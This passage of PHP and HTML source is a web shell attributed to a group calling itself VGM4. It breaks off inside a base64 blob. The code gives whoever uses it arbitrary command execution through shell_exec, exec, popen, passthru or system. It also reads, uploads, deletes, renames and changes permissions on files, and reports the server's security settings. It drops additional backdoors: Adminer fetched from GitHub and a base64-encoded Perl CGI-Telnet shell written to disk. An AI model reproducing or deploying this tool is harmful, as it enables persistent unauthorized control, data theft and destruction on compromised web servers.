style="width:16px;height:16px;" src="data: image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABJ0lEQVRYhe2T0W3DIBCGP3cDOoI7gjtCV/AK7gjxCM4I7QjpCPEIyQhZIRnh70OO6ESgjpo+RCqfhA6OA/47ACqVSqVSeSQkIWmQtJW0k7SRFCR1Nt5Jai0O5/PzQ9IPkia3XyupKOBNZ462QGYxUZK0ckIl6WCHlDhkxpcznxINndkZeAdG6wezAIPZ3uxnsscIPANfzvcCvAInoHVrryoQXOYx+8GVPGYTsz/aGl+BYLFTUsF4ZZJ0EZBWIABrl30LfLjKxKwmNz5ls7mRVEAPbDiXOWTio4A4l5b/bgFr27QDVuYbgb31907E7Px/g7ur4O4ybfEd9Ik/tya3R9AP33Cp+a93S3yxRdIrWKL09X5N4wfF0lwLmLnz9TdNsxxUqVT+Bd9dUuNpd1va5QAAAABJRU5ErkJggg=="></i><span>SYM Bypass</span></li>\r\n                <li class="toggle" onclick="config_searcher();"><i><img style="width:16px;height:16px;" src="data: image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABIklEQVRYhe1V2w2DMAy8Vl0gK7ACK9ARmIUV2hFYgRVgBDpCGaEd4fpRu7IChED5IydFMY6TO+w8gISEhISj4zQ3QDJ2jRJABuAeJDrNUs0LiGg9v+iXYlcjgrwU8pfYmwScI7RUAHppNQBn/IpCegegkdjGzK1X/T3wy8CNY/Qk3YTPlmQ0Z4sAS1KQzEi2QlKaEii5LYnG//bIHM8loKEw9gPAG8DV+EovPpd+ANCJ3Rn/agEPYzsRUIndTcQPJlaRhciDkLS2ksKnSedL0uuXwMmYH795D+iirVnoSTL3am7vgFxiVKjO3SzACnEcn2/n2bo51a+nqPlXQGzTEjRCrt/VMuM+AnJDqqgZuAn3eIymoEd0gJym1Y9RQkLCYfABnDR7je5K+3YAAAAASUVORK5CYII="></i><span>Config Searcher</span></li>\r\n                <li class="toggle" onclick="cgi_telnet();"><i><img style="width:16px;height:16px;" src="data: image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM/rhtAAACc0lEQVRYhe2X3XHqMBCFP5g04JRgSuCWQEogJZgSoAT8npdQApQAJeAS4hJwCcnD7o7WhgEZ29wXnxmN/KOfo9090gpGjBhxF5PV19er55wDJVDFNJ4Oy+UKa+AM/ABpTIdXEzQksQ3fhmRxAzlQIO4tYzq0sWAKfAMXLXsknjzWiPsuwFbfj1oAMv22jZ001oIpEjveNUtgAXwgVjFCnmwTifaJRqwF1zp4BXwqqUq/ZcgCjNBJ/6+IVOo9tLEgwEELwLv7762yIsSXJ/4U2qq4s0XaIpagWWSJuDVBRHJELOSJm8XmiPtfQnCndUpQsYmk0HLSNhnwy7WoBiVYIIHv964SEYwR88/oc/4qgjbhDJhomREEA+LSHBHPBFmQodA6d/2j0OdJskdcWgAbwhbkCbZGn2fxRus5Ih4jXNHB1X1acIfEZUYQR4mQizp3b6HvZOFEXSid8b/SrWg8a8GEkMlY+jQIpoR0qM2ub0I4cp1ydUXmxuaNcND3GjsdUEvJfAwac/9+Jhxb97ISb9EM2WIu+r5stF3o/18kuf0mqD6j7smjj8GUkFY1k8+5K583CPpV+9RroWWGbDVLJefnzLTNPx3HX6YW3oI75HjyOdwGOZaM1JLHMXdQQn4hZsWta/Ou7SpH9EBITAA+PMESicPaCrgW0KOU3TbsAyGurU/q6j3iXj9uSX1TP7XZZmyyvreUolHX4An648mQI8Tm1NUedem+gVL7HnTsRwlFMnU/1oiyzD0g7j1r2SKx9PS5SoivLaLgH4IgbVw//mWKXHKa7FeEDMREYSLqghwRngkjIdwCjZhZ9+X3nxEjRgyBP3xcmbgIVhRmAAAAAElFTkSuQmCC"></i><span>CGI-Telnet</span></li>\r\n                <li class="toggle" onclick="adminer();"><i><img style="width:16px;height:16px;" src="data: image/x-icon;base64,AAABAAEAEBAQAAEABAAoAQAAFgAAACgAAAAQAAAAIAAAAAEABAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////AAAA/wBhTgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAERERAAAAAAETMzEQAAAAATERExAAAAABMRETEAAAAAExERMQAAAAATERExAAAAABMRETEAAAAAEzMzMREREQATERExEhEhABEzMxEhEREAAREREhERIRAAAAARIRESEAAAAAESEiEQAAAAABEREQAAAAAAAAAAD//9UAwP/VAIB/AACAf/AAgH+kAIB/gACAfwAAgH8AAIABAACAAf8AgAH/AMAA/wD+AP8A/wAIAf+B1QD//9UA"></i><span>Adminer</span></li>\r\n            </ul>\r\n        </div>\r\n\r\n        <div class="popup-box alert">\r\n        </div>\r\n        <div class="popup-box success">\r\n        </div>\r\n\r\n        <div class="title">\r\n\r\n            <h3></h3>\r\n            <h4><a href="http://vgm4team.xyz">VGM4 Website<p>&nbsp;</p></a></h4>\r\n            <h4><a href="http://mrvgunz.xyz">MrVGunz &</a><a href="#"> MrH4ted<p>&nbsp;</p></a></h4>\r\n            <ul>\r\n                <li><span></span> <?php print $_SERVER[\'SERVER_SOFTWARE\']. \' | PHP Version: \'.@phpversion();?></li>\r\n                <li><span></span> <?php print @php_uname() ? @php_uname() : \'Unable to get that information\';?></li>\r\n                <li><span></span> uid=<?php print @getmyuid();?>(<?php print @get_current_user();?>) gid=<?php print @getmygid();?>(<?php $group = @posix_getgrgid(@getmygid()); print $group[\'name\'] ? $group[\'name\'] : @get_current_user();?>)</li>\r\n                <li><span></span> <?php $user_count = $helpers->get_users_count(); if($user_count != \'Windows not supported\'){ print \'<font class="toggle" style="cursor:pointer;text-decoration:underline;color:#ff0000;font-weight:bold" onclick="user_list();">\'.$user_count.\'</font>\';}else{print $user_count;} ?></li>\r\n                <li><span></span> <?php $group_count= $helpers->get_groups_count(); if($group_count != \'Windows not supported\'){print \'<font class="toggle" style="cursor:pointer;text-decoration:underline;color:#ff0000;font-weight:bold" onclick="group_list();">\'.$group_count.\'</font>\';}else{print $group_count;} ?></li>\r\n                <li><span></span> <?php if(@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on"){ print "<font style=\'color:red\'>ON (secure)</font>"; }else { print "<strong><font style=\'color:#00ff00\'>OFF</font></strong>";} ?> </li>\r\n                <li><span></span> <?php $v = @ini_get("open_basedir"); if ($v or strtolower($v) == "on"){ print "<font style=\'color:red\'>" . $v . "</font>"; }else{ print "<strong><font style=\'color:#00ff00\'>OFF</font></strong>";}?></li>\r\n                <li><span></span> <?php $df = @ini_get("disable_functions"); if (!empty($df)){ print "<font style=\'color:red\'>" . $df . "</font>"; }else{ print "<strong><font style=\'color:#00ff00\'>NONE</font></strong>";}?></li>\r\n                <li><span></span> <?php $s = @ini_get(\'upload_max_filesize\'); if(!empty($s)){print $s;}else{print \'Unable to get that information\'; } ?></li>\r\n                <li><span></span> <p><?php $ext = @get_loaded_extensions(); print implode(\',\',$ext);?></p></li>\r\n                <li><span></span> <p><?php $info = $helpers->get_ip_information(); ?> [ <strong>IP Address:</strong> <?php print $info["ip"];?> , <strong>Country:</strong> <?php print $info["country"];?> , <strong>City:</strong> <?php print $info["city"];?> , <strong>Region:</strong> <?php print $info["region"];?> , <strong>Timezone:</strong> <?php print $info["timezone"];?> ]</p></li>\r\n                <li style="margin-top:5px"><span></span><p><form method="post" style="display:flex;align-items:center" onsubmit="event.preventDefault();"><div id="path"></div></form></p></li> \r\n                <li style="margin-top:5px"><span></span><p><form method="post" style="display:flex;align-items:center" onsubmit="event.preventDefault();"><input type="text" style="background:none;border:1px solid rgba(255,255,255,.3);width:600px;height:35px;padding-left:5px;" autocomplete="off" required id="curr_dir" value=""/><button onclick="change_dir();" style="margin-left:5px;text-align:center;height:35px;cursor:pointer;font-weight:bold;border:none;background:rgba(0,0,0,.2);color:#00ff00;padding:10px;width:150px;text-align:center">Change dir</button></form></p></li>\r\n                <li style="margin-top:5px"><span></span><p><form method="post" style="display:flex;align-items:center" onsubmit="event.preventDefault();"><input class="toggle" type="text" style="background:none;border:1px solid rgba(255,255,255,.3);width:600px;height:35px;padding-left:5px;" autocomplete="off" required id="read_file" value=""/><button class="toggle" onclick="readfile();" style="margin-left:5px;text-align:center;height:35px;cursor:pointer;font-weight:bold;border:none;background:rgba(0,0,0,.2);color:#00ff00;padding:10px;width:150px;text-align:center">Read File</button></form></p></li>\r\n\r\n            </ul>\r\n        </div>\r\n        \r\n        <div class="inner">\r\n        <div class="loaderhold"><div class="loader"></div></div>\r\n            <table cellspacing="0" cellpadding="0">\r\n                <thead>\r\n                    <tr>\r\n                        <th style="text-align:center;"></th>\r\n                        <th style="text-align:left;">Name</th>\r\n                        <th>Size</th>\r\n                        <th>Last Modified</th>\r\n                        <th>Permissions</th>\r\n                        <th>Action</th>\r\n                    </tr>\r\n                </thead>\r\n                \r\n                <tbody>\r\n\r\n                </tbody>\r\n        \r\n            </table>\r\n        </div>\r\n\r\n        <div class="process-screen" id="screen"></div>\r\n\r\n    </div>\r\n\r\n</div>\r\n\r\n\r\n</body>\r\n</html>\r\n\r\n\r\n<?php\r\n\r\nclass helpers{\r\n\r\n    public function list_dir($target = \'.\'){\r\n        if(!@chdir($target)) return false;\r\n        $dirpath     = @getcwd();\r\n        $current_dir = @scandir($target);\r\n        unset($current_dir[0]);\r\n        $dirs  = array();\r\n        $files = array();\r\n        $current_dir = @array_values($current_dir);\r\n\r\n        foreach($current_dir as $data){\r\n            if(is_dir($data)){\r\n                $dirs[\'name\'][] = $data;\r\n                $dirs[\'type\'][] = $this->get_type($data);\r\n                $dirs[\'perms\'][] = $this->view_perms_color($data);\r\n                $dirs[\'perm_num\'][] = $this->view_perm_number($data);\r\n                $dirs[\'size\'][] = $this->get_size($data);\r\n                $dirs[\'modify\'][] = $this->modify_time($data);\r\n            }else{\r\n                $files[\'name\'][] = $data;\r\n                $files[\'type\'][] = $this->get_type($data);\r\n                $files[\'perms\'][] = $this->view_perms_color($data);\r\n                $files[\'perm_num\'][] = $this->view_perm_number($data);\r\n                $files[\'size\'][] = $this->get_size($data);\r\n                $files[\'modify\'][] = $this->modify_time($data);\r\n            }\r\n            \r\n        }\r\n        $return_list = array();\r\n        $count       = @count($dirs[\'name\']);\r\n        for($i = 0; $i < $count; $i++){\r\n            $return_list[\'name\'][]   = $dirs[\'name\'][$i];\r\n            $return_list[\'path\'][]   = $dirpath.\'/\'.$dirs[\'name\'][$i];\r\n            $return_list[\'type\'][]   = $dirs[\'type\'][$i];\r\n            $return_list[\'perms\'][]  = $dirs[\'perms\'][$i];\r\n            $return_list[\'perm_num\'][]      = $dirs[\'perm_num\'][$i];\r\n            $return_list[\'size\'][]   = $dirs[\'size\'][$i];\r\n            $return_list[\'modify\'][] = $dirs[\'modify\'][$i];\r\n\r\n        }\r\n        $count2       = @count($files[\'name\']);\r\n        for($x = 0; $x < $count2; $x++){\r\n            $return_list[\'name\'][]   = $files[\'name\'][$x];\r\n            $return_list[\'path\'][]   = $dirpath.\'/\'.$files[\'name\'][$x];\r\n            $return_list[\'type\'][]   = $files[\'type\'][$x];\r\n            $return_list[\'perms\'][]  = $files[\'perms\'][$x];\r\n            $return_list[\'perm_num\'][]= $files[\'perm_num\'][$x];\r\n            $return_list[\'size\'][]   = $files[\'size\'][$x];\r\n            $return_list[\'modify\'][] = $files[\'modify\'][$x];\r\n        }\r\n        $return_list[\'current_dir\'][] = str_replace(\'\\\\\',\'/\',@getcwd());\r\n\r\n        return $return_list;\r\n    }\r\n    public function get_type($target){\r\n        if(is_dir($target)){\r\n            return \'directory\';\r\n        }else{\r\n            return \'file\';\r\n        }\r\n    }\r\n    public function get_size($target){\r\n        if(is_file($target)){\r\n            return $this->human_filesize(@filesize($target));\r\n        }else{\r\n            return \'DIR\';\r\n        }\r\n    }\r\n    public function modify_time($target){\r\n        return date(\'d/m/Y - H:i:s\',@filemtime($target));\r\n    }\r\n    public function human_filesize($bytes, $decimals = 2) {\r\n        // https://gist.github.com/liunian/9338301\r\n        $size = array(\'B\',\'kB\',\'MB\',\'GB\',\'TB\',\'PB\',\'EB\',\'ZB\',\'YB\');\r\n        $factor = floor((strlen($bytes) - 1) / 3);\r\n        return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$size[$factor];\r\n    }\r\n    // view_perms & view_perms_color functions are taken from c99\r\n    // Updated by: KaizenLouie for PHP 7\r\n    // Find it on github\r\n    public function view_perms($mode){\r\n\r\n            if (($mode & 0xC000) === 0xC000)\r\n            {\r\n                $type = "s";\r\n            }\r\n            elseif (($mode & 0x4000) === 0x4000)\r\n            {\r\n                $type = "d";\r\n            }\r\n            elseif (($mode & 0xA000) === 0xA000)\r\n            {\r\n                $type = "l";\r\n            }\r\n            elseif (($mode & 0x8000) === 0x8000)\r\n            {\r\n                $type = "-";\r\n            }\r\n            elseif (($mode & 0x6000) === 0x6000)\r\n            {\r\n                $type = "b";\r\n            }\r\n            elseif (($mode & 0x2000) === 0x2000)\r\n            {\r\n                $type = "c";\r\n            }\r\n            elseif (($mode & 0x1000) === 0x1000)\r\n            {\r\n                $type = "p";\r\n            }\r\n            else\r\n            {\r\n                $type = "?";\r\n            }\r\n            $owner["read"] = ($mode & 00400) ? "r" : "-";\r\n            $owner["write"] = ($mode & 00200) ? "w" : "-";\r\n            $owner["execute"] = ($mode & 00100) ? "x" : "-";\r\n            $group["read"] = ($mode & 00040) ? "r" : "-";\r\n            $group["write"] = ($mode & 00020) ? "w" : "-";\r\n            $group["execute"] = ($mode & 00010) ? "x" : "-";\r\n            $world["read"] = ($mode & 00004) ? "r" : "-";\r\n            $world["write"] = ($mode & 00002) ? "w" : "-";\r\n            $world["execute"] = ($mode & 00001) ? "x" : "-";\r\n            if ($mode & 0x800)\r\n            {\r\n                $owner["execute"] = ($owner["execute"] == "x") ? "s" : "S";\r\n            }\r\n            if ($mode & 0x400)\r\n            {\r\n                $group["execute"] = ($group["execute"] == "x") ? "s" : "S";\r\n            }\r\n            if ($mode & 0x200)\r\n            {\r\n                $world["execute"] = ($world["execute"] == "x") ? "t" : "T";\r\n            }\r\n            return $type . join("", $owner) . join("", $group) . join("", $world);\r\n    }\r\n    public function view_perms_color($o)\r\n    {\r\n        if (!is_readable($o))\r\n        {\r\n            return "<font style=\'color:red\'>" . $this->view_perms(@fileperms($o)) . "</font>";\r\n        }\r\n        elseif (!is_writable($o))\r\n        {\r\n            return "<font style=\'color:white\'>" . $this->view_perms(@fileperms($o)) . "</font>";\r\n        }\r\n        else\r\n        {\r\n            return "<font style=\'color:green\'>" . $this->view_perms(@fileperms($o)) . "</font>";\r\n        }\r\n    }\r\n    public function view_perm_number($file){\r\n        return substr(sprintf("%o", @fileperms($file)), -4);\r\n    }\r\n    public function folderSize ($dir)\r\n    {\r\n        $size = 0;\r\n        $contents = glob(rtrim($dir, \'/\').\'/*\', GLOB_NOSORT);\r\n\r\n        foreach ($contents as $contents_value) {\r\n            if (is_file($contents_value)) {\r\n                $size += filesize($contents_value);\r\n            } else {\r\n                $size += $this->folderSize($contents_value);\r\n            }\r\n        }\r\n\r\n        return $size;\r\n    }\r\n    public function download_file($file,$remove = false){\r\n        $pathinfo = pathinfo($file);\r\n\r\n        header(\'Content-type: application/octet-stream\');\r\n        header("Content-Disposition: attachment; filename=".$pathinfo[\'basename\']);\r\n\r\n        ob_end_clean();\r\n        if(is_readable($file)){\r\n            readfile($file);\r\n            if($remove) @unlink($file);\r\n            exit;\r\n        }else{\r\n            return false;\r\n        }\r\n    }\r\n    public function remove_file($file){\r\n        if(is_dir($file)){\r\n            $rmdir = $this->delete_dir($file);\r\n            if($rmdir){\r\n                return true;\r\n            }else{\r\n                return false;\r\n            }\r\n        }else{\r\n            if(@unlink($file)){\r\n                return true;\r\n            }else{\r\n                return false;\r\n            }\r\n        }\r\n        \r\n    }\r\n    public function delete_dir($dir) { \r\n        $files = array_diff(scandir($dir), array(\'.\',\'..\')); \r\n         foreach ($files as $file) \r\n           (is_dir("$dir/$file")) ? $this->delete_dir("$dir/$file") : @unlink("$dir/$file"); \r\n         if(rmdir($dir)){\r\n             return true;\r\n         }else{\r\n             return false;\r\n         }\r\n    } \r\n\r\n    public function set_chmod($target,$mode){\r\n        if(@chmod($target,octdec($mode))){\r\n            return true;\r\n        }else{\r\n            return false;\r\n        }\r\n    }\r\n    public function rename($target,$name,$old_name){\r\n        $new_name = str_replace($old_name,$name,$target);\r\n        if(@rename($target,$new_name)){\r\n            return true;\r\n        }else{\r\n            return false;\r\n        }\r\n    }\r\n    public function file_upload($temp,$filename,$where){\r\n        if(function_exists(\'move_uploaded_file\')){\r\n            if(@move_uploaded_file($temp,$where.\'/\'.$filename)){\r\n                return true;\r\n            }else{\r\n                return false;\r\n            }\r\n        }elseif(function_exists(\'copy\')){\r\n            if(@copy($temp,$where.\'/\'.$filename)){\r\n                return true;\r\n            }else{\r\n                return false;\r\n            }\r\n        }else{\r\n            return false;\r\n        }\r\n    }\r\n    public function run_cmd($cmd,$dir = null){\r\n        if($dir != null) @chdir($dir);\r\n        if(function_exists("shell_exec")){\r\n            $run = shell_exec($cmd);\r\n            return \'shell_exec|\'.trim($run);\r\n        }elseif(function_exists("exec")){\r\n            $run = exec($cmd,$result);\r\n            return \'exec|\'.implode("\\r\\n",array_map(\'trim\',$result));\r\n        }elseif(function_exists("popen")){\r\n            $run = popen($cmd,"r");\r\n            $result = "";\r\n            while(!feof($run)){\r\n                $buffer = fgets($run,4096);\r\n                $result .= "-> $buffer\\r\\n";\r\n            }\r\n            pclose($run);\r\n            return \'popen|\'.trim($result);\r\n        }elseif(function_exists("passthru")){\r\n            passthru($cmd);\r\n            $content    = ob_get_clean();\r\n            return \'passthru|\'.trim($content);\r\n        }elseif(function_exists("system")){\r\n            system($cmd);\r\n            $content    = ob_get_clean();\r\n            return \'system|\'.trim($content);\r\n        }else{\r\n            return false;\r\n        }\r\n    }\r\n    public function getClientIP() {  \r\n         if(!empty($_SERVER[\'HTTP_CLIENT_IP\'])) {  \r\n            $ip = $_SERVER[\'HTTP_CLIENT_IP\'];  \r\n        } elseif (!empty($_SERVER[\'HTTP_X_FORWARDED_FOR\'])) {  \r\n            $ip = $_SERVER[\'HTTP_X_FORWARDED_FOR\'];  \r\n        } else{  \r\n            $ip = $_SERVER[\'REMOTE_ADDR\'];  \r\n        }  \r\n        return $ip;  \r\n    } \r\n\r\n    public function get_adminer(){\r\n        // https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1-en.php\r\n        $name   = \'adminer-web.php\';\r\n\r\n        if(file_exists($name)){\r\n            return true;\r\n        }else{\r\n            $curl = curl_init();\r\n            curl_setopt_array($curl,array(CURLOPT_RETURNTRANSFER => 1,CURLOPT_URL => \'https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1-en.php\',CURLOPT_FOLLOWLOCATION => 1,CURLOPT_TIMEOUT => 20));\r\n            $output = curl_exec($curl);\r\n            curl_close($curl);\r\n    \r\n            if(@file_put_contents($name,$output)){\r\n                return true;\r\n            }else{\r\n                return false;\r\n            }\r\n        }\r\n\r\n    }\r\n\r\n    public function get_cgitelnet(){\r\n        $name \t       = \'cgi_web.pl\';\r\n\t\t$cgiTelnetCode = base64_decode(\'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAibXdzIjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6I